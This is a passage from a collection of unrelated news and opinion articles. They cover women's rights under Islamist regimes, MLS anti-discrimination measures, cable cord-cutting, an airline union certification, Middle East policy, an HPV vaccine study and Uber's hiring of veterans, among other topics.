rights violations if the same abuses were applied specifically to racial or ethnic groups. While women in the west, and many Asian nations, have begun to move toward gender equality in the past century, the Islamic fundamentalist regimes in Saudi Arabia and Iran, some African nations, and especially the Taliban, have moved backwards, with great violence and repression that harms millions of women and feeds jihadi fervor against the West. The influence of the Islamist/fundamentalist attitude toward women has spread to neighboring countries, and into countries in Europe where migration is occurring. To varying degrees, women in Islamist regimes are forced to wear blankets over their heads, marry in childhood, are denied education, denied freedom of movement, have little or no control over their finances, cannot divorce. Their most basic desires are thwarted at every turn: those who dare choose their own lovers are routinely murdered in so-called "honor killings." Rape victims may be forced to marry their attackers. These horrific examples should make it ever more obvious to the world that subjugating females is the driving force behind Islamist rage. It was there in 9/11 attacker Mohammed Atta's will, in which he demanded that no pregnant woman be allowed to come near his grave; it's there in the acid attacks on pretty girls who dare say no to their men in Pakistan; it's there in the stoning sentences for "adulterers" in Iran and Somalia, it's there in the prohibition on women driving cars in Saudi Arabia, it's there in the black blankets millions of women think -- know -- they must throw over their heads whenever they dare step outside their homes. With so much evidence piled up that the status of women in the West is what radical Islamist fighters revile most about us, the only question left is why haven't the Western countries made support of women a fundamental element of the diplomatic, military and political response? The issue gets very little discussion in the foreign policy community. Five years ago, the National Committee on American Foreign Policy (NCAFP) deemed it appropriate to convene a roundtable on "Arab Women and the Future of the Middle East." Afterward, a not-for-attribution summary report was produced for the foreign policy community containing the views and suggestions voiced at the April 14, 2005, roundtable. The first three recommendations were: • American foreign policy should be consistent: The United States must apply human rights standards uniformly in its relations with all the countries of the region. • When dealing with officials of Middle East countries, U.S. officials should always remind them of their obligations to respect human rights and women's rights enshrined in the Charter of the United Nations and in the Universal Declaration of Human Rights. • The State Department should expand the section concerning women's rights in its annual report. The U.S. has had three female Secretaries of State in the last 15 years, yet the human rights of women remain unaddressed, and the above recommendations have never been implemented. In March, 2010, Secretary of State Clinton was interviewed on MSNBC and asked what the Obama administration was doing for women's rights globally. She mentioned three fronts: health care, which affects the infant mortality rate; food security and climate change. While these certainly help all people, they do not remotely rise to the level of a real response to the abuses women specifically face simple because they are female. For years, our governments have treated outrageous depredations against women as quaint cultural customs. Only the French have officially rejected the burka, and for that that faced international criticism about "racism." Of course womanhood is not a "race," and that may be the problem. If blacks or Jews were consistently mistreated the way women are from Saudi Arabia to Afghanistan, and in many of the nations in between, the United Nations, the Europeans, and the people of the United States wouldn't stand for it, and our elected representatives would be holding hearings, issuing sanctions, putting the issue front and center every single day. In Egypt in 1899, a male judge named Qassem Amin caused an uproar when he penned a book called The Liberation of Women, arguing that improving the status of women would help Egypt develop. Amin blamed Egypt's falling under European power, despite centuries of ancient learning and civilization, on the low social and educational standing of Egyptian women. A century on, women remain severely discriminated against in Egypt and throughout the region, especially in extremist regimes in the Gulf States and under the Taliban. The reversals women face after revolutions in these areas are horrific. The case of Iran is well-known. In Iraq, so recently secular under the dictator, millions of women have now donned the black blanket out of sheer fear and have seen their mobility decrease. The effort to keep women segregated is at the heart of the regional cultural bias against women, and it is true that it is an old tradition. When Napoleon invaded Cairo, the Egyptians barely resisted at first. They only revolted when Napoleon ordered his soldiers to break down the many doors in Cairo streets and alleys that kept neighborhoods walled off, and women safely incarcerated in their communities. But Islamist efforts to keep women segregated in these modern times have reached ridiculous levels. Iraqis whisper that extremists have even shot storekeepers for stowing "male and female vegetables" (cucumbers and tomatoes apparently) together. An Egyptian cleric in 2009 decreed that men and women may only work together in offices if the women have breast-fed the men. That cleric was forced to retract the decree, and was fired, then reinstated. But the decree was reiterated by another cleric in Saudi Arabia. Increased limitation on female mobility is a hallmark of Islamic resurgence, and this should be recognized as a backlash against the model of increasing women's rights elsewhere. "Women's liberation movements in the Muslim world were viewed as Western contaminations aimed at the destruction of Islam from within," wrote Lamia Rustum Shahedah, in Arab Studies Quarterly, in an article about the theoretical bases of Islamic fundamentalist attitudes toward women. "Accordingly, all resurgents allotted the female status a major part of their corpus, the most radical stipulating complete segregation of women to the home environment. Thus, men will direct the Islamic society while women sustain, nurture, and propagate the family, the nucleus of society." We in the West should reconsider our own definition of the boundary between a cultural trait and a human rights violation, as it pertains to women. An extremist takeover of Egypt will be a disaster for Egyptian women, who must hope that the future will be better for their daughters than for them, and that whatever new society is being formed takes into account the universal - not just Western - human rights of women. The world and moderates among the Egyptian people must keep the human rights of women front and center in the discourse as they watch Cairo, and other Arab nations, transform themselves. |
Los Angeles Galaxy midfielder Robbie Rogers, kicks the ball as Juventus forward Sebastian Giovinco gives chase during the second half of their International Champions Cup soccer match, Saturday, Aug. 3, 2013, in Los Angeles. (AP Photo/Mark J. Terrill) WASHINGTON -- New York Attorney General Eric Schneiderman (D) announced Wednesday that Major League Soccer was launching an effort to protect current and future gay players from discrimination and harassment, following discussions with his office. MLS will expand training for players and will post a Player Code of Conduct in home and visitor locker rooms underscoring that discrimination on the basis of sexual orientation is not allowed. The league also will centralize the process for filing harassment and discrimination complaints by designating a lead MLS contact person. MLS pledged to protect from retaliation any person who makes a complaint or who cooperates in an investigation. "Harassment and discrimination in the workplace -- whether in an office building, on the soccer field or a baseball diamond -- are illegal," Schneiderman said in a statement. "My office is committed to ensuring equal protection under the law for all employees no matter where they work, and I applaud Major League Soccer for working cooperatively with us to promote a culture of inclusion. Together, we are sending a powerful message that discrimination and harassment will not be tolerated in any form in the world of major league sports." The new measures are part of the league's "Don't Cross the Line" anti-discrimination initiative, which launched last year. The initiative "is a strong statement that we are a league that stands against discrimination,” said the MLS chief administrative officer, JoAnn Neale. "We are committed to providing a safe environment where everyone is treated equally, and with dignity and respect." In February 2013, soccer player Robbie Rogers shook up the sports world and announced he was gay. "I have been afraid, afraid to show whom I really was because of fear," Rogers wrote on his website. "Fear that judgement and rejection would hold me back from my dreams and aspirations. Fear that my loved ones would be farthest from me if they knew my secret. Fear that my secret would get in the way of my dreams." Rogers said at the time that he would take a break from playing soccer. In May, he signed with the LA Galaxy and became the league's first openly gay player. Schneiderman has worked with the National Football League and Major League Baseball on similar anti-discrimination efforts. In April, the NFL said it would make sure its teams knew about the league's policies. Schneiderman stepped in after media reports said draft picks were being asked about their sexual orientation. |
Tom Rutledge, CEO of Charter Communications Cable Center / YouTube Tom Rutledge, the CEO of cable TV company Charter Communications, told Wall Street this week he was "surprised" that 1.3 million of his 5.5 million customers don't want TV. They just want broadband internet. They're actively NOT subscribing to TV in addition to the web. "Our broadband-only growth has been greater than I thought it would be," he added. Rutledge is not alone. A lot of people are having difficulty processing the idea that now it's so easy to watch shows or movies online, whenever you want, that cable and broadcast TV just aren't something that everybody wants anymore. People thought that "cord-cutters" were merely switching from cable TV to broadband internet. They were keeping the pipes that come into their houses, in other words, and using them differently. Maybe they were still watching TV if TV came as a cheap bundle with internet. (It's noteworthy that all the major cable/telco companies still have thriving hard-wired telephone businesses too, even though many people never use them — because they come with the bundle.) But recent subscriber stats show a net loss across all three services— TV, web and phone. We have a pet theory at Business Insider: Because it's a lot easier now to survive on free wifi, people who already cut the cable TV cord are now cutting all cords, and living entirely off wifi that comes from businesses, cities and campuses. Here's what Rutledge said on his quarterly call with analysts. He was asked by Morgan Stanley analyst Benjamin Swinburne, "Do you think the pay TV penetration in that base is declining?": Thomas M. Rutledge - Chief Executive Officer, President and Director: ... I would say that the one thing that surprised me -- has surprised me about Charter is that our broadband-only growth has been greater than I thought it would be. And part of that, I think, is some change in the world that is going on with consumers. But the bigger part of it is that Charter's video product was inferior, and we had brand issues around that. And so I think while you can see some of these trends occurring throughout the whole industry, it's more exaggerated at Charter, I think, because of the way we let our video product deteriorate, and we've turned that around. And I see the 1.3 million broadband-only customers as a real selling opportunity for us from a video perspective. The Wall Street Journal notes that Charter had some specific issues that made its TV product worse than it needed to be. So this may merely be an anecdote rather than a harbinger of the underlying trend. But still, if you were looking for the "Death of TV," this is the kind of thing you'd expect to see. |
The International Association of Machinists and Aerospace Workers (IAM) today won certification as the representative for 5,500 employees at Alaska Airlines and United Ground Express. The National Mediation Board (NMB) certified the IAM to represent the entire Clerical, Office, Fleet and Passenger Service Employees craft or class at Alaska Airlines, Inc. The NMB certification confirms that post-merger Alaska Airlines and Virgin America are now functioning as a single transportation system for representation purposes for Clerical, Office, Fleet and Passenger Service employees of the combined carrier. Stores employees will continue to be represented by the IAM without the need for a single carrier determination from the NMB. There are no similar corresponding employees from Virgin America. “This certification assures that all our members at Alaska Airlines will work under the provisions and safety our collective bargaining agreement affords,” said IAM Transportation General Vice President Sito Pantoja. “The IAM will continue to welcome and integrate the Virgin America employees into the IAM structure,” said District 142 PDGC Dave Supplee. In February 2017, the IAM filed an application with the NMB asserting that Alaska Airlines and Virgin America constituted a single transportation system. This certification reaffirms that the IAM represents approximately 4,500 members at post-merger Alaska. The NMB also officially certified the IAM as the representative for approximately 1,000 United Ground Express (UGE) employees. The certification was the final step in the process of union representation for UGE. “This UGE certification gives solid IAM representation to workers in this segment of the industry that has been too frequently neglected,” said GVP Pantoja. UGE is a subsidiary of United Airlines, which handles above and below the wing duties in 31 locations nationwide. |
Hi guys, Apologies for the lack of update in the past few months. Here's a short update on the status of Ascend. First the good news! Playfab for User Account Managment We had a lot of weird bugs and issues with our user account system in the previous version, where's there's random disappearing loadout and mismatched loadouts. To solve this, we have switched over from a self hosted server to Playfab, a cloud based backend service, which should help with logging in issues as well keeping downtime to a minimal. Exosuit and Neural Kinetic In the previous version, both the exosuit and neural kinetic was working but there's a lot of issues with syncing through the network. They're temporarily removed from the current build while I am working on them. Team Disband Now on the bad news. The past few months have been a really tough time, as the team has been disbanded and funding has run out. It all comes to two choices, and after much consideration, I decide to wrap this up and at least put Ascend out there. There's a lot of bugs but I hope you guys enjoy it. Over the four years, there were tough time but I really enjoyed making Ascend and I learned a lot. Feel free to download Ascend from the itch.io link below or from file here in indieDB. If you guys like to see Ascend being further developed, I would appreciate any donation so I could continue working on it. Thanks for the support guys! Cheers! Velsthinez |
Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week. Thank you for signing up. For more from The Nation, check out our latest issue Subscribe now for as little as $2 a month! Support Progressive Journalism The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. The Nation is reader supported: Chip in $10 or more to help us continue to write about the issues that matter. Fight Back! Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and we’ll send you three meaningful actions you can take each week. Thank you for signing up. For more from The Nation, check out our latest issue Travel With The Nation Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Be the first to hear about Nation Travels destinations, and explore the world with kindred spirits. Sign up for our Wine Club today. Did you know you can support The Nation by drinking wine? This article is part of The Nation’s 150th Anniversary Special Issue. Download a free PDF of the issue, with articles by James Baldwin, Barbara Ehrenreich, Toni Morrison, Howard Zinn and many more, here. Ad Policy Thirty-three years ago, Victor Navasky and I crafted an unsigned editorial for a special issue of The Nation devoted to “Myths About the Middle East” [December 5, 1981]. Sadly, it remains prescient: “Israel’s democratic character—and its legitimacy and distinctiveness as a Middle Eastern state—is placed in increasing jeopardy with the passage of each day of military subjugation for 1.2 million Palestinians in the West Bank and Gaza. The more ‘successful’ Israel is in introducing a large settler population into the occupied territories, the closer it is to becoming a total garrison state.” We also argued that “messianic Zionism—with its assertion that all Jews are one nation, that the ingathering of the diaspora is the raison d’être of Israel—was an outmoded or unrealizable idea.” Our editorial merely prefaced a collection of astute observations by Boas Evron, Edward Said, Christopher Hitchens, Edward Mortimer, Sadik Al-Azm and Michael Reisman. It was our intent to have each of these public intellectuals demystify what we believed to be the fundamental problem in the Middle East: the question of national identity. Collectively, they explored post-Zionism, the evolving nature of Israeli identity versus Jewish diaspora identity, Palestinian identity, anti-Zionism versus anti-Semitism, and the status of the occupied territories under international law. Nothing essential to the Arab-Israeli conflict was left unexamined—and, unfortunately, everything written all those years ago remains acutely relevant to our current predicaments. Identity continues to be the problem in both Israel and the Arab world. The myth persists in Israel today that the early Zionists were trying to create a “Jewish state.” They were not. They tried and in fact succeeded in creating a new national identity for those Jews who wished to leave the diaspora. They became Israelis, living in a Hebrew-speaking republic. And yet, today, Israel is both more secular—think of the beaches of Tel Aviv—and more theocratic and Orthodox in its Jerusalem enclaves. The reality is that Israel is a multi-ethnic, multireligious society, and it makes no sense to insist as a precondition for peace that its neighbors recognize it as “the Jewish state.” Such a precondition is merely another obstacle erected by a prime minister who opposes a two-state solution. As Boas Evron warned thirty-three years ago, “the promise of Israel as a ‘haven for the Jewish people’ has been proved false.” Whereas the Jewish diaspora has flourished in America and elsewhere, the Jewish population of the Hebrew-speaking republic known as Israel lives in a besieged state of mind. Its current prime minister, Benjamin Netanyahu, warns repeatedly of the risk of “another Holocaust.” And since we live in an era when even plutonium suitcase bombs are technically feasible, and since Israel has never defined its borders or negotiated a genuine peace with its neighbors, the fear of a nuclear event in this dangerous neighborhood is not just another paranoid symptom of an admittedly often demagogic Israeli politician. Israel has itself become a nuclear-armed state with a powerful military, and over the decades it has waged periodic wars with disproportionate violence against Hezbollah in Lebanon and Hamas in Gaza. But as we predicted in 1981, the real danger to Israeli democracy is from within. Around 25 percent of all first graders inside Israel—excluding the occupied territories—come from Orthodox or ultra-Orthodox families; another 25 percent come from the families of Christian or Muslim Palestinian-Israelis. This demographic picture suggests that the unresolved question of Israeli national identity will become even more acute in the future—and that only a secular construct can accommodate such differences. In addition, there are as many as 700,000 Israelis living in the occupied territories, where Israel effectively controls the lives of the 4.4 million Palestinians in the West Bank and Gaza. All told, there are more than 6 million Jewish Israelis and 6 million Palestinians living between the Mediterranean and the River Jordan. Clearly, these two communities are on a demographic collision course. Israel cannot claim to be both Jewish and democratic if it retains control over the daily life of so many people who define their identity as other than Jewish Israeli. And so, of course, a two-state solution involving the creation of a Palestinian state in the West Bank and Gaza, with East Jerusalem as its capital, is the only obvious and wholly rational solution. And just as clearly, this solution is not happening—at least in the near future, and perhaps ever. * * * On the Arab side of the equation, things are just as convoluted. But it is still all about identity. Polls often show that a majority of Palestinians will settle for a Palestinian state in the West Bank and Gaza. But in the last Palestinian election in 2006, Hamas—a fundamentalist Islamic party that formally rejects a two-state solution—achieved a plurality, soundly defeating Fatah, the secular party. The outcome precipitated what amounted to a Palestinian civil war. Hamas took control of the Gaza Strip, while Fatah retained control of the Palestinian Authority in the West Bank. Hamas still employs terror to “resist” an ongoing virtual Israeli occupation and to achieve its political goals. The most recent Gaza war—in which more than 2,100 Palestinians and seventy-three Israelis died—nevertheless persuaded many Palestinians that in the absence of real progress toward sovereignty, Hamas remains a viable alternative. Sadly, there seems to be a symbiotic relationship between the right-wing Israeli opponents of any Palestinian state and Hamas: these two enemies need each other to deter any kind of nonviolent political compromise. In the meantime, the Arab Awakening of recent years has created its own counterrevolution. The initial uprisings in Tunisia, Egypt and Syria were fueled by the pent-up demands for a secular civil society. The protesters fervently sought modernity and common democratic rights. This was undoubtedly a good development, long overdue and still unfinished. But when Egypt’s Muslim Brotherhood won the country’s first post-Mubarak election and then overreached by taking steps to undermine secular democratic rights, the military autocracy seized on the moment to re-establish its control. Gen. Abdel Fattah al-Sisi’s regime proved willing to mow down more than 1,000 unarmed protesters to impose a dictatorship more draconian than Mubarak’s. Likewise, in Syria, the regime of President Bashar al-Assad has instigated a civil war that has killed more than 200,000 people. And then there’s the ongoing civil war in Iraq—inspired by our own 2003 invasion of that country—which has greatly inflamed brutal sectarian violence between Sunnis and Shiites. This, in turn, has created a political vacuum, most recently filled by an extremist Sunni criminal mafia—known as Daesh in Arabic, or the Islamic State (ISIS) in English—operating in both Syria and Iraq. Our most recent military intervention—an aerial bombing campaign against this so-called caliphate—may serve only to incite further Salafist terrorism against American targets. It also threatens to drag the Obama administration—and the United States—into yet another interminable Middle Eastern war. The Middle East today is thus a far more dangerous neighborhood than it was three decades ago. Unimaginative leaders in Israel and throughout the Arab world have made bad choices, but America’s ill-considered military interventions have consistently made things worse. So what is America to do? I love the Middle East. My earliest childhood memories are of Jerusalem. I love the colors and smells and cadence of Arabic spoken in the streets of Cairo or Beirut. I also love the modernity and verve of Tel Aviv. But all my instincts are to protect my Middle East from my America. These are two different worlds—and we Americans, firmly ensconced in one of these worlds, have no understanding of the other. Furthermore, after all our bloody, misbegotten interventions, we have no standing, no legitimacy as mediators, let alone as peacekeepers. I assure you, we do nothing to improve the situation with our boots on the ground and our deadly drones circling overhead. In the Arab world, we have historically aligned ourselves with generals and kings and narrow-minded sectarian tribal leaders. In Israel, we have become the ultimate enablers of Likudites devoted to colonization. It is time to walk away and leave these people to their own bad behavior. Let the Israelis occupy—and then let them grapple with the consequences. I oppose any academic boycott of Israeli institutions, but I support an economic boycott of products and services in the settlements. I believe we need to engage at every possible point with the Israeli people—but also to impose a policy of coldly correct diplomatic relations with the Israeli government. I would not give the Israelis a dime in military assistance. And I believe we should support the right of Palestinians (and others) to petition the International Criminal Court for redress when their human rights are violated. The pundits will say that disengagement with Israel is not politically realistic. They are right. But they are wrong to dismiss it as unthinkable. Less than a year after our 1981 editorial, Geoffrey Kemp, President Reagan’s chief aide for Middle East affairs in the National Security Council, advised: “The President should tell [Menachem] Begin that there can be no resolution of the Palestinian problem unless he abandons expectations of Israeli sovereignty over the West Bank and Gaza.” (The memo in which Kemp made this recommendation was declassified only in 2010.) Kemp also spelled out the steps that could be taken if the Israeli prime minister defied the president, including the possibility of withholding economic aid to Israel. In the event, the Reagan administration did not muster the political courage to force Israel to halt its settlements policy—and we are now all paying the price. * * * Over the years in these pages, I have made a wholly pragmatic argument for holding a referendum that would impose a two-state solution, with borders based on the Green Line and with East Jerusalem as the capital of a Palestinian state. I believe that a majority of both Palestinians and Israelis would approve this broad solution, and a referendum would commit the politicians to a deal. But clearly, this is not going to happen—and without such a referendum, American policy is merely shoring up a dangerous and unjust status quo. The professionals of the “peace process” (I have in mind such diplomats as Dennis Ross and Martin Indyk) have come up with nothing over three decades. They have failed time and time again, and their failure has cost many Palestinian and Israeli lives. Disengagement should now be our policy with both Israel and the Arab world. We Americans should urge our government to end all arms sales to any Arab nation ruled by a general, dictator or king. We need to isolate and diplomatically contain any Arab regime that has demonstrably killed unarmed protesters, as in Egypt, Syria, Saudi Arabia and Bahrain. We should also close our military installations in Saudi Arabia, Bahrain, Kuwait and Qatar. Such a dramatic, categorical and evenhanded withdrawal of American arms and treasure would deal a bracing shock to the region’s ruling elites. But it would be a good and decent thing for all concerned. The so-called experts, our TV talking heads, will be quick to object that such a withdrawal would only open the gates to the barbaric head-choppers. These experts are wrong: the Salafist nihilists operating under the black flag of a farcical caliphate have bitter enemies all around them. They have no real future in the twenty-first century. And in any case, these sectarian wars are not ours—and our government has no business sacrificing young American men and women in such an ephemeral mission. The experts will call disengagement quixotic. They will speak in Kissingeresque bass tones about America’s “strategic” interests in Arabian oil. But I don’t care about oil, a fungible commodity that will be sold in any event on the global market by any regime that controls such carbon resources—especially since, given our climate peril, we should be focusing on renewable and sustainable energy. And I don’t care about the “strategic” consequences: they cannot be worse than the Middle East we have mismanaged. We Americans must have a lower profile in the Middle East. Of course we can provide humanitarian assistance. But the Arabs are weary of our shallow promises of security and democracy, and all our flaccid diplomatic efforts to sustain the “peace process” in reality seem only to sustain a dead-end status quo. Enough. A year before Navasky and I plotted our special issue, we devoted an issue of the magazine to an essay by the late, great historian William Appleman Williams. “What happens,” he wrote, “if we simply say no to empire as a way of life?” That is the essential question America faces in the Middle East. |
In the latest crackdown on political extravagance, China is banning shark fin and bird’s-nest soups from official receptions, and prohibiting lower-level officials from staying in suites on business trips. A document from the Communist Party of China explicitly states that the two dishes, considered delicacies in China, as well as wild-animal products are not allowed at official reception dinners, state news agency Xinhua reports. The rules are meant to regulate public funding of reception dinners, and they also ban cigarettes and alcohol from official meetings. Cash, negotiable securities and souvenirs are also ruled out as gifts to politicians, according to the document. The document is aimed to “promote frugality, oppose extravagance and enhance the anti-corruption efforts among Party and governmental authorities,” according to Xinhua. Chinese President Xi Jinping has pledged to address public outcry over political corruption and fiscal waste. [Xinhua] |
The GIF-laden release achieved its ostensible purpose: It drew attention. Lots of it. Because this was a new thing, sort of, this whimsical fusion of Disney princess and public policy! Whether it was clever or “asinine,” the release was an innovative approach to political messaging. Except, of course, it wasn’t that innovative. Earlier this year, House Speaker John Boehner’s staff used GIFs—12 of them, starring, exclusively, Taylor Swift—to poke fun at the White House’s free community college initiative. Two years ago, the House Energy and Commerce committee used moving images of various pop-cultural figures to argue in favor of the Keystone XL pipeline. ("What do Jimmy Fallon, Honey Boo Boo, Napoleon Dynamite’s brother Kip, Ron Burgundy, Dwight Schrute, and GloZell all have in common? Together, they capture the highs and lows of the turbulent journey of the Keystone XL pipeline over the past five years.") The White House itself turned to GIFs last year in its effort to convince people—young people in particular—to sign up for insurance on healthcare.gov. GIFs cited in that effort included a twerking woman and a lazy cat. You could point out, certainly, that GIFs—with their endless, loopy repetitions, hinting at what might have happened had Sisyphus lived on into the digital age—suggest something profound, and profoundly cynical, about the various inertias of American politics. Beyond that, though, GIFs are not, their seeming novelty aside, meaningfully different from any other type of trendy digital media: They’re aimed at young people. They’re usually created by young people. They allow politicians to create that rarest of things within the heavily choreographed pageantries of American politics: the illusion of whimsy. Last week's Judiciary Committee’s GIF-fest was simply an extension of the time the House Natural Resources Committee explained why people shouldn’t skip out on budget hearings in listicle form. It’s an extension of the Obama for America Tumblr. It's an extension of the White House's many experiments with Facebook and Tumblr and reddit and Instagram and YouTube and "Between Two Ferns." As a Judiciary Committee aide told the tech site Re/code in response to the criticism its press release drew, “GIF op-eds are being used more and more, including here in the halls of Congress.” The aide added that the committee is constantly trying to find new ways to “communicate our message to an increasing number of people.” So are all political actors. And the way to do that, many of them are finding, is to minimize the divide between political media and media of other kinds. The relationship between politics and PR has long been a fluid one; digital media, for their part, are removing even more barriers between "politics" and "everything else." Barack Obama is an author on Buzzfeed. GIFs (and listicles and quizzes and the like) are equal-opportunity communications tools. The presidential campaign of 2012 was dubbed "the meme election." Internet jokery, however, is reshaping our political discourse far beyond the confines of traditional elections. You could say, less felicitously, that we're entering the era of "the permanent meme campaign." And that campaign will involve, inevitably, the tools of Internet virality—among them, yep, some jerky images of Disney princesses, blinking, nihilistically, into the ether. We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com. |
GREENVILLE COUNTY, S.C. --A Greenville County Deputy who went to investigate a 911 made by a toddler, was met with an unexpected emergency when she arrived, CBS affiliate WSPA reports. Aliyah, 2, was facing a fashion emergency and required immediate assistance - putting on her pants. "Dispatch actually gave us a call and they said it sounded like a baby on the phone and it was basically a 911 hang up call," said Deputy Martha Lohnes. "The door opened up and she comes running out to the front with half a pant leg on and she's just like, 'Hey!'" Lohnes, who said she's gotten practice with two sisters of her own, was happy to lend a hand. "I just ended up sitting down on the stairs helping her put on the rest of her pants and then it was almost like a reward, she just wanted a hug," she explained. Needless to say, when the toddler's mother, Pebbles Ryan, got the call at work, she was more than a little surprised. "I came home to 'Oh, the police helped your daughter put pants on.' I was like 'Oh! Okay." Then she wouldn't let any of the police leave because she wanted hugs," Ryan said. Aliyah's mother said she's no stranger to cell phones and that the two have talked about calling 911 for help in the past. "We've pointed out the numbers but it completely surprised me that she actually did it," said Ryan. "I thought it was awesome that at 2 years old, she knew to call 911 at all," added Lohnes. Aliyah now also has a new, easier to put on, pair of jeans, in addition to a new friend Deputy Lohnes. Sheriff's office spokesman Drew Pinciaro said a family member was at home when Lohnes arrived. Last year, the Greenville County Sheriff's Office responded to more than 250,000 911 calls. They say they respond to every one, not matter what. While they train for every outcome, they added that you can't teach the passion and charisma that Deputy Lohnes displayed. It stands to reason that not too many of those calls end in hugs, either. |
Big Bash League: Michael Klinger in line for Australia call-up after Perth Scorchers beat Sydney Sixers in final Updated Perth Scorchers coach Justin Langer says he will do everything he can to ensure veteran batsman Michael Klinger gets a long-awaited call-up into Australia's Twenty20 squad. Klinger scored an unbeaten 71 off 49 balls to lead the Scorchers to a crushing nine-wicket victory over the Sydney Sixers in Saturday's Big Bash League final at the WACA ground in Perth. The 36-year-old is yet to earn international honours, despite his outstanding domestic career in first-class, one-day, and Twenty20 ranks. But Langer, who will coach Australia in the upcoming three-match Twenty20 series against Sri Lanka, wants Klinger in the national squad. "I might have a say. I don't know how much of a say. But I'll certainly be putting his name up," said Langer, after he guided the Scorchers to a third BBL title. "He's just shown over so many years what a champion he is. I know it would be a dream come true for him (to earn a call-up). "It's a bit like Chris Rogers and Adam Voges - some of those senior players have an impact. Even if it's just for three games, Klinger deserves it. "He's helped us win three games this year off his own bat. He's an outstanding person. He deserves to be enjoying that success." Klinger scored three half-centuries during the BBL campaign and captained the side when Voges missed several games with a hamstring injury. Meditation solves Langer's selection headache Langer revealed his inspired decision to play inexperienced paceman Jhye Richardson in the BBL final was all thanks to his daily meditation ritual. He faced one of the toughest selection decisions of his coaching career when weighing up whether to play Jason Behrendorff or Richardson against the Sixers. Behrendorff, one of the best Twenty20 bowlers in Australia, had not played since breaking his leg in November. Richardson had performed admirably throughout the tournament, but he was battling ankle and rib injuries. Langer says he asked about 50 people for their opinion about who to play. In the end, the answer came to him on the morning of the final during his daily meditation. "It just came, and it was crystal clear," Langer said. "I sent a text to the selectors at about 7:20am saying it was a crystal clear decision." Richardson did not let his coach down, with the 20-year-old snaring 3-30 and completing a run-out to earn man-of-the-match honours. Just four days after snaring 3-3 in the semi-final, Mitchell Johnson returned figures of 1-13 off four overs against the Sixers. The feats of Johnson and Richardson restricted to the Sixers to 9-141. Johnson has already indicated he wants to return to the Scorchers next season, and Langer says he would love to have the left-arm paceman feature again for his side. AAP Topics: twenty20, cricket, sport, perth-6000 First posted |
Australia sees 61% drop in female genital warts due to free HPV vaccine SCIENCEALERT STAFF 8 SEP 2014 Image: Adam Gregor/Shutterstock A new study by researchers at the University of Sydney has revealed that doctors in Australia are now treating 61 percent less cases of genital warts in young women since the launch of a national human papillomavirus (HPV) vaccination program in 2007. Australia was one of the first countries in the world to offer this free service to women between the ages of 15 and 27 years. HPV is a common virus that affects both males and females. Often symptoms don’t show, which means many people who have contracted the disease through sexual contact aren’t aware of it until they get tested. It’s been found that vaccination is the best form of protection against the virus, particularly if the patient has been inoculated before they become sexually active. The vaccine is being distributed at Australian schools, medical centres and GPs for free as part of the National Immunisation Program. It’s been seven years since the vaccination program was launched, so researchers wanted to investigate how it has affected the rate of the virus among young people. They looked at more than a million patient encounters between 2000 and 2012, and found a significant reduction in genital wart cases in female patients aged 15 to 27 years, which grew stronger every year following 2007. According to the research team, the rate of genital wart cases reported by Australian GPs fell dramatically from 4.33 per 1,000 encounters before the program started, so from 2002 to 2006, to 1.67 per 1,000 encounters after the program was well underway, between 2008 and 2012. "This is the first study to report the impact of HPV vaccinations on genital warts management in general practice, which is where the majority of cases are treated," said lead author of the study Christopher Harrison from the Family Medicine Research Centre at the University of Sydney in a press release. "The program has proved to be a great success and of huge benefit to the sexual health of Australia, and has clearly proven to be very worthwhile." Harrison adds that for males and females in age groups outside of what was covered in the program, there was "no significant change in the management rate of genital warts between the pre-program and post-program periods". He also mentions that the study didn't find a significant decrease in any other sexually transmitted infections during this time period, which supports their conclusion that the vaccination is the cause of the decrease in genital warts in women, and not a change in the subjects' behaviour. The study was published in the journal PLOS One. |
After five years in the army — including stretches in Baghdad and Fallujah at the height of the Iraqi Civil War — Malik returned home in 2008, went to St. John’s College on the G.I. Bill, and tried to reenter civilian life. Shortly after his 17th birthday, Ali Malik asked his mother for permission to join the U.S. military. A New York City high school student, Malik had watched the twin towers implode from the top story of school, and wanted to show those behind the 9/11 attacks that “actions have consequences.” But even with a college degree, Malik struggled to find a good job. "Most of the offers I could get were custodial work — like janitors' jobs, " he says. Like nearly 20 percent of veterans under 25, Malik found himself unemployed. To improve his prospects, Malik enrolled in a graduate program at NYU, interned at the State Department, and started networking with veterans employment organizations. Malik will be done with classes soon, and is looking for work. Earlier this month, he drove 200 miles from New York to downtown Boston to attend the Recovering Warrior Employment conference. There, recruiters tried to convince Malik to sign up for a different sort of army altogether — UberMILITARY. Ali Malik, an Army veteran from Queens, New York Launched this September by the international car service giant Uber, UberMILITARY aims to hire 50,000 vets — nearly a quarter of currently unemployed Iraq and Afghanistan War soldiers — in the next 18 months. (Though that number seems ambitious, the company claims to hire 50,000 drivers every month.) To aid in its effort, Uber has enlisted respected armed forces commanders such as former Secretary of Defense Robert Gates, former Chairman of the Joint Chiefs of Staff Michael Mullen, and former general Stanley A. McChrystal as volunteer ambassadors to the veteran community. "Uber promises a good job, but in reality it’s a very precarious way to make a living" Gates has called the initiative an "unprecedented effort… to ensure that tens of thousands of our nation’s military members, veterans, and spouses have access to a unique entrepreneurial opportunity." But veterans currently driving for Uber are concerned that military commanders are sending vets like Malik into low-wage and unstable employment. As one army machine gunner turned Los Angeles Uber driver put it, "Uber promises a good job, but in reality it’s a very precarious way to make a living. I’m looking for a new job, and there’s no way I would recommend this life to other vets." "UberMILITARY: Empowering Members of the Military Community," a promotional video by Uber Though soldiers leave the service with leadership experience and technical skills that are supposed to prepare them for the civilian job market, for many the transition back is rough. "Nearly half of all service members will be unemployed at some point after leaving the military," says Ross Cohen, the Senior Director of Hiring our Heroes, an employment initiative sponsored by the U.S. Chamber of Commerce. The organization has pledged to help find 500,000 veterans jobs by the end of 2014. Finding a job is hardest for veterans like Malik, who served in Iraq and Afghanistan and returned home in the midst of an economic downturn. These "post-9/11" veterans are nearly twice as likely to be unemployed as the general population. Veterans under 25 are four times more likely to be out of work. And when these veterans do enter the workforce, they are more likely to be low-paid workers: more than 1 million veterans currently work near minimum-wage jobs. The job fair Malik attended in October was sponsored by Hiring Our Heroes — the 800th such event the group has hosted since 2011. Hiring 